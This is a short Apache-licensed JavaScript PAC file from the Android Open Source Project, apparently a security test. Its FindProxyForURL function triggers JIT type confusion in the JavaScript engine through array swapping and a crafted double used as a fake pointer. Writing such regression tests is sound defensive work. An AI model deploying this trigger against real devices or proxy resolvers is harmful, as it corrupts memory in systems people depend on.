| /* |
| * Copyright (C) 2019 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| function FindProxyForURL(url, host){ |
| for (var i = 0; i < 0x10000; i++){ |
| f(); |
| } |
| array[0] = double_arr; |
| f(); |
| try { |
| double_arr[1].x; |
| }catch(e){} |
| return "DIRECT"; |
| } |
| |
| var double_arr = [1.1, 2.2]; |
| var array = [[0.1],[0.1],[0.1]]; |
| |
| function f(){ |
| double_arr[0] = 3.3; |
| for(var i = 0; i < array.length; i++){ |
| array[i][0] = {"abcd":0x4321}; |
| } |
| double_arr[1] = 6.176516726456e-312; |
| } |